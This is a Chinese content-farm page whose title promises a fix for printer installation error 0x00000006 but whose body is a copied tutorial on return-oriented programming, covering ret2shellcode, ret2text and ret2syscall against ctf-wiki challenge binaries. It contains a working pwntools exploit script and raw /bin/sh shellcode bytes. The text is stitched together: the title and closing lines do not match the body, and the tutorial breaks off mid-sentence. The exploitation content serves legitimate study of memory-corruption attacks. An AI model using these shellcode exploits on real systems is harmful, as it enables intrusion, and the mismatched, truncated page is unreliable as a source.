窝牛号

「无法安装打印机」无法安装打印机错误为0x00000006

今天窝牛号就给我们广大朋友来聊聊无法安装打印机,以下关于无法安装打印机错误为0x00000006的观点希望能帮助到您找到想要的科技。

0x01 前言

在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。

0x02 什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

0x03 为什么要ROP

探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是一种

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】

1.网络安全多个方向学习路线

2.全网最全的CTF入门学习资料

3.一线实战经验分享笔记

4.网安大厂面试题合集

5.红蓝对抗实战技术秘籍

6.网络安全基础入门、Linux、web安全、渗透测试方面视频

0x04 基本ROP

ret2shellcode

含义

我们先看这个,顾名思义,ret to shellcode,就是将返地址覆盖到我们插入shellcode的首地址。

从原理中解析ret2shellcode

先通过一个小程序回顾一下栈溢出利用过程:

#include <stdio.h> #include <stdlib.h> char buf[10]; int main(int arg, char **args) { char s[10]; puts("start !"); gets(s); strncpy(buf, s, 10); printf(buf); printf("nend !"); return 0; }

image

可以知道s所在位置为esp 0x16,esp=0x0061FE80,那么s所在位置为61FF96,也就是ebp-0x12,因此填充18个字符即可满足溢出的临界条件

image

利用IDA找到buf的地址0x004053E0,在BSS段。这里普及一下是BSS段:BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。既然可读写那么只要能够在栈内写入的payload,然后再转移到此处,并且执行权限就可以控制。通过strncpy函数达到这一目的

从例子中解析ret2shellcode

来看一个例子:ret2shellcode (https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode)

发现利用点

int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp 1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !"); gets(&s); strncpy(buf2, &s, 0x64u); printf("bye bye ~"); return 0; }

在IDA中能够发现两点:一、存在栈溢出 二、能利用写入/bin/sh进行getshell

确定利用前提

此时只需要确定是否开启NX和bss段是否可以执行 首先检查保护机制

image

然后在IDA中确定buf2的BSS段位置

.bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100]

查看该BSS段是否具有执行权限

image

一切完成后,可以发现这个文件可以进行ret2shellcode

调试

在get处设置断点,来确定s变量与ebp的距离,可以看到 s 的地址为 0xffffbe3c,计算一下得出 s 相对于 ebp 的偏移为 0x6c。

这里为什么要在get处设置断点? 因为知道s的地址才能计算出相对于ebp的偏移,此处esp刚好存储s的的地址 0x804858c <main 95>: lea eax,[esp 0x1c] 0x8048590 <main 99>: mov DWORD PTR [esp],eax 当然您可以选择其它位置,只不过这里更便捷。

image

可以知道溢出的临界点与触发地址还有一个4个字节的间隔 所以payload的结构是含有shellcode的6c个字节 4个字节 buf2地址

from pwn import * sh = process('./ret2shellcode') shellcode = asm(shellcraft.sh()) buf2_addr = 0x804a080 sh.sendline(shellcode.ljust(112, 'A') p32(buf2_addr)) //含有shellcode的6c个字节 4个字节 buf2地址 sh.interactive()

扩展点

>>> asm(shellcraft.sh()) 'jhh///sh/binx89xe3hx01x01x01x01x814$rix01x011xc9Qjx04Yx01xe1Qx89xe11xd2jx0bXxcdx80' >>> asm(shellcraft.sh()).ljust(112, 'A') 'jhh///sh/binx89xe3hx01x01x01x01x814$rix01x011xc9Qjx04Yx01xe1Qx89xe11xd2jx0bXxcdx80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 所以我们也可以直接构造,pwntools提供了shellcraft模块更方便。 shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。 这里的shellcraft.sh()则是执行/bin/sh的shellcode shellcode = "x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80" shellcode.ljust(112, 'A') p32(buf2_addr)

ret2text

含义

顾名思义,ret to text,也就是说我们的利用点在原文件中寻找即可,控制程序执行程序本身已有的的代码 (.text)。

从例子中解析ret2text

来看一个例子:ret2text(https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text)

发现利用点

IDA查看找到构成栈溢出漏洞的条件

image

确定利用前提

开启了NX,栈上无法写入shellcode

image

那么我们寻找程序中是否存在/bin/sh或者systerm()等 在IDA的Strings窗口找到/bin/sh

LOAD:08048154 00000013 C /lib/ld-linux.so.2 LOAD:080482C9 0000000A C libc.so.6 LOAD:080482D3 0000000F C _IO_stdin_used LOAD:080482E2 00000005 C gets LOAD:080482E7 00000006 C srand LOAD:080482ED 0000000F C __isoc99_scanf LOAD:080482FC 00000005 C puts LOAD:08048301 00000005 C time LOAD:08048306 00000006 C stdin LOAD:0804830C 00000007 C printf LOAD:08048313 00000007 C stdout LOAD:0804831A 00000007 C system LOAD:08048321 00000008 C setvbuf LOAD:08048329 00000012 C __libc_start_main LOAD:0804833B 0000000F C __gmon_start__ LOAD:0804834A 0000000A C glibc_2.7 LOAD:08048354 0000000A C GLIBC_2.0 .rodata:08048763 00000008 C /bin/sh .rodata:0804876C 00000037 C There is something amazing here, do you know anything? .rodata:080487A4 00000022 C Maybe I will tell you next time ! .eh_frame:08048833 00000005 C ;*2$"

双击找到地址,那就是我们溢出到EIP的地址

image

调试

因为原理相似,不再赘述,详细见ret2shellcode

ret2syscall

含义

顾名思义,ret to syscall,就是调用系统函数达到目的

从例子中解析ret2syscall的方法

那么这里我们来深入了解一下什么是ret2syscall?为什么可以ret2syscall?在深入了解之前,先从一个例子rop(https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)中快速过一下方法 IDA中查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp 1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!"); puts("What do you plan to do?"); gets(&v4); return 0; }

与上面两个例子相似,原理详细见ret2shellcode,但是获取/bin/sh则需要使用系统调用来获取,也就是ret2syscall专属方法,下面我们就说一下这个专属方法。首先什么是系统调用?

在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口。

至于系统调用在其中充当什么角色,稍后再看 现在我们要做的是:让程序调用execve("/bin/sh",NULL,NULL)函数即可拿到shell 调用此函数的具体的步骤是这样的:因为该程序是 32 位,所以我们需要使得 系统调用号,即 eax 应该为 0xb 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。第二个参数,即 ecx 应该为 0 第三个参数,即 edx 应该为 0 最后再执行int 0x80触发中断即可执行execve()获取shell

我们来看这一套流程:1、存在栈溢出 2、使用ret2syscall手法进行操作 第一步与前两个方法一样,怎么样去偏移怎么去覆盖不再赘述,详见ret2shellcode,第二步ret2syscall手法也是中规中矩,照猫画虎即可。

细说系统调用在ret2syscall的作用

我们这里要说一说系统调用在其中充当了什么角色,这样才能更好地理解为什么要ret2syscall。

一探系统调用

从用户态到内核态

先对这三个词的概念进行了解一下

用户态:user_space(或用户空间)是指在操作系统内核之外运行的所有代码。user_space通常是指操作系统用于与内核交互的各种程序和库:执行输入/输出,操纵文件系统对象的软件,应用程序软件等。也就是上层应用程序的活动空间,应用程序的执行必须依托于内核提供的资源 内核态:控制计算机的硬件资源,并提供上层应用程序运行的环境,cpu可以访问内存的所有数据,包括外围设备,例如硬盘,网卡,cpu也可以将自己从一个程序切换到另一个程序。 两中空间的分离可提供内存保护和硬件保护,以防止恶意或错误的软件行为。 系统调用:为了使上层应用能够访问到这些资源,内核为上层应用提供访问的接口。

大致的关系如下:

image

再看一下系统调用的基本过程:开始时应用程序准备参数,发出调用请求,然后glibc中也就是c标准库封装函数引导,执行系统调用,这里我们只探讨到这两个过程。可以发现上述两个过程从用户态(第一步)过渡到内核态(第二步),系统调用就是中间的过渡件,我们能控制的地方就是用户态,然后通过系统调用控制到内核态。先看一个程序

section .text global _start _start: mov edx, len ;message length mov ecx, msg ;message to write mov ebx, 1 ;file descriptor (stdout) mov eax, 4 ;system call number (sys_write) int 0x80 ;call kernel mov eax, 1 ;system call number (sys_exit) int 0x80 ;call kernel section .data msg db 'Hello World',0xa len equ $ - msg

可以发现该程序通过调用sys_write函数进行输出Hello World,那么sys_write()是什么?

sys_write(unsigned int fd, const char __user *buf, size_t count);

可以发现前三个mov指令是把该函数需要的参数放进相应寄存器中,然后把sys_write的系统调用号放在EAX寄存器中,然后执行int 0x80触发中断即可执行sys_call(),那么问题就来了:这几个寄存器有什么作用?为什么int 0x80?int 0x80后发生了什么?带着问题我们继续往下看

二探系统调用

set_system_gate

为何int 0x80?在系统文件中有这么一行代码

set_system_gate(0x80,&system_call);

在系统启动的时候,系统会在sched_init(void)函数中调用set_system_gate(0x80,&system_call),设置中断向量号0x80的中断描述符,也就是说实现了系统调用 (处理过程system_call)和 int 0x80中断的对应,进而通过此中断号用EAX实现不同子系统的调用。详细了解,参见《linux 0.12》 int 0x80后发生了什么?经过初始化以后,每当执行 int 0x80 指令时,产生一个异常使系统陷入内核空间并执行128号异常处理程序,也就是绑定后的函数,即系统调用处理程序 system_call(),此时CPU完成从用户态到内核态切换,开始执行system_call()。

system_call()

当进入system_call()后,主要做了两件事(我们关心的事情,其它的事情忽略,有兴趣可以去了解) 首先处理中断前设置环境的过程 然后找到实际处理在入口 规定:数值会放在eax,ebx,ecx,edx,参数一般为4个 所以ebx,ecx,edx会被压入栈中设置环境(也就是函数所需要的参数),当然ds、es等也要压入,这里不是我们考虑的范围内,有兴趣可以去了解。然后就会调用call_sys_call_table(,

今天的内容先分享到这里了,读完本文《「无法安装打印机」无法安装打印机错误为0x00000006》之后,是否是您想找的答案呢?想要了解更多,敬请关注baike.ccv168.com,您的关注是给小编最大的鼓励。

本站所发布的文字与图片素材为非商业目的改编或整理,版权归原作者所有,如侵权或涉及违法,请联系我们删除

窝牛号 wwww.93ysy.com   沪ICP备2021036305号-1